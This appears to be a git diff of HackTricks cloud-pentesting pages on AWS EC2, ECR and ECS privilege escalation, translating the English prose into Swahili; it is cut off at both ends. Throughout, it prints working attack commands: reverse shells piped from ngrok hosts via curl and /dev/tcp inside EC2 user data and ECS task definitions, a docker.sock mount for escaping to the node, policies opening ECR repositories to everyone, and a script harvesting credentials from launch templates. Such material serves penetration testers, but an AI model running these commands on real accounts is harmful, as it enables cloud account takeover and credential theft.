inawezekana kubadilisha wasifu wa mfano uliohusishwa na mfano hivyo ikiwa shambulio tayari lilikuwa na ufikiaji wa mfano atakuwa na uwezo wa kuiba akidi za majukumu zaidi ya wasifu wa mfano kwa kubadilisha ule uliohusishwa nao. +- Ikiwa **ina wasifu wa mfano**, unaweza **kuondoa** wasifu wa mfano (`ec2:DisassociateIamInstanceProfile`) na **kuunganisha** hiyo \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- au **badilisha** **profaili ya mfano** ya mfano ulioathiriwa (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +Mshambuliaji mwenye ruhusa **`ec2:RequestSpotInstances`na`iam:PassRole`** anaweza **kuomba** **Spot Instance** yenye **Jukumu la EC2 lililounganishwa** na **rev shell** katika **data ya mtumiaji**.\ +Mara mfano unapokimbia, anaweza **kuchukua jukumu la IAM**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instances. Miongoni mwao, anaweza **kubadilisha data ya mtumiaji**, ambayo ina maana kwamba anaweza kufanya instance **ikimbie data isiyo na mipaka.** Hii inaweza kutumika kupata **rev shell kwa instance ya EC2**. +Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, hivyo **permissions** **`ec2:StopInstances`** na **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Potential Impact:** Moja kwa moja privesc kwa yoyote EC2 IAM Role iliyoambatanishwa na mfano ulioundwa. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`na `ec2:ModifyLaunchTemplate`** anaweza kuunda **toleo jipya la Launch Template** lenye **rev shell katika** **data ya mtumiaji** na **yoyote EC2 IAM Role juu yake**, kubadilisha toleo la kawaida, na **kikundi chochote cha Autoscaler** **kilichotumia** hiyo **Launch Template** ambayo ime **pangwa** kutumia **toleo jipya** au **toleo la kawaida** itafanya **kurejesha mifano** ikitumia hiyo template na itatekeleza rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mkonfigu wa Uzinduzi** na **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mkonfigu huo na kusubiri rev shell **kuiba Jukumu la IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kupandisha** mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililoainishwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambayo ni privesc inayojulikana). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa ssh kwa mtumiaji na kuutumia kuufikia (ikiwa ana ufikiaji wa ssh kwa mfano) au kupandisha mamlaka. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya EC2 IAM yaliyounganishwa na mifano inayoendesha. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ufunguo wa ssh kwenye muunganisho wa serial**. Ikiwa serial haijawashwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwasha**. +Ili kuungana na bandari ya serial unahitaji pia **kujua jina la mtumiaji na nenosiri la mtumiaji** ndani ya mashine. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +Hii njia si ya manufaa sana kwa privesc kwani unahitaji kujua jina la mtumiaji na nenosiri ili kuweza kuifanyia shambulio. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Madhara Yanayoweza Kutokea:** (Siyo rahisi kuthibitisha) Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Kwa kuwa templates za uzinduzi zina toleo, mshambuliaji mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia hizi kugundua taarifa nyeti, kama vile akidi zilizopo katika data ya mtumiaji. Ili kufanikisha hili, script ifuatayo inarudiarudia kupitia matoleo yote ya templates za uzinduzi zinazopatikana: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +Kukisia tunapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kujiandikisha kwa AWS. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Athari Zinazoweza Kutokea:** Kuongezeka kwa haki moja kwa moja kwa mtumiaji wa IAM. -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..f3251fbb5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +Mshambuliaji mwenye **`ecr:GetAuthorizationToken`** na **`ecr:BatchGetImage`** anaweza kuingia kwenye ECR na kupakua picha. -For more info on how to download images: +Kwa maelezo zaidi juu ya jinsi ya kupakua picha: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kukamata taarifa nyeti katika trafiki. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Mshambuliaji mwenye ruhusa zote hizo **anaweza kuingia kwenye ECR na kupakia picha**. Hii inaweza kuwa na manufaa kuongeza mamlaka katika mazingira mengine ambapo picha hizo zinatumika. -To learn how to upload a new image/update one, check: +Ili kujifunza jinsi ya kupakia picha mpya/sasisha moja, angalia: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Kama sehemu ya awali, lakini kwa hifadhi za umma. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha** **sera** ya **hifadhi** ili kujipa (au hata kila mtu) **ufikiaji wa kusoma/kupakia**.\ +Kwa mfano, katika mfano huu ufikiaji wa kusoma unatolewa kwa kila mtu. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +Maudhui ya `my-policy.json`: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Kama sehemu ya awali, lakini kwa hazina za umma.\ +Mshambuliaji anaweza **kubadilisha sera ya hazina** ya hazina ya ECR Public ili kutoa ufikiaji wa umma usioidhinishwa au kuongeza mamlaka yao. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa umma usioidhinishwa kwa hifadhi ya ECR Public, ikiruhusu mtumiaji yeyote kusukuma, kuvuta, au kufuta picha. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha** **sera ya hifadhi** ili kujipatia, akaunti yake (au hata kila mtu) **ufikiaji wa kusoma/kandika**. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..6301866d4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Maelezo zaidi kuhusu **ECS** katika: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +Mshambuliaji anayekandamiza ruhusa ya `iam:PassRole`, `ecs:RegisterTaskDefinition` na `ecs:RunTask` katika ECS anaweza **kuunda ufafanuzi mpya wa kazi** wenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu tofauti la ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akidi za metadata na **kuikimbia**.\ +Hata hivyo, katika kesi hii, inahitajika kuwa na mfano wa konteina ili kuendesha tafsiri mbaya ya kazi. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu lolote la ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Kama ilivyo katika mfano wa awali, mshambuliaji anayekandamiza ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** au **`ecs:CreateService`** katika ECS anaweza **kuunda tafsiri mpya ya kazi** yenye **konteina mbaya** inayopora akreditivu za metadata na **kuikimbia kwa kuunda huduma mpya yenye angalau kazi 1 inayoendelea.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +Kwa kweli, kwa ruhusa hizo tu inawezekana kutumia overrides kutekeleza amri zisizo na mipaka katika kontena lenye jukumu lolote kwa kutumia kitu kama: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Hali hii ni kama zile za awali lakini **bila** ruhusa ya **`iam:PassRole`**.\ +Hii bado ni ya kuvutia kwa sababu ikiwa unaweza kuendesha kontena yoyote, hata kama huna jukumu, unaweza **kuendesha kontena lenye mamlaka ili kutoroka** kwenye node na **kuchukua jukumu la EC2 IAM** na **majukumu mengine ya kontena za ECS** yanayoendesha kwenye node.\ +Unaweza hata **kulazimisha kazi nyingine kuendesha ndani ya mfano wa EC2** ulioathiriwa ili kuchukua hati zao (kama ilivyojadiliwa katika [**sehemu ya Privesc kwa node**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Shambulio hili linaweza kutokea tu ikiwa **klasta ya ECS inatumia** mifano ya EC2 na sio Fargate. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, 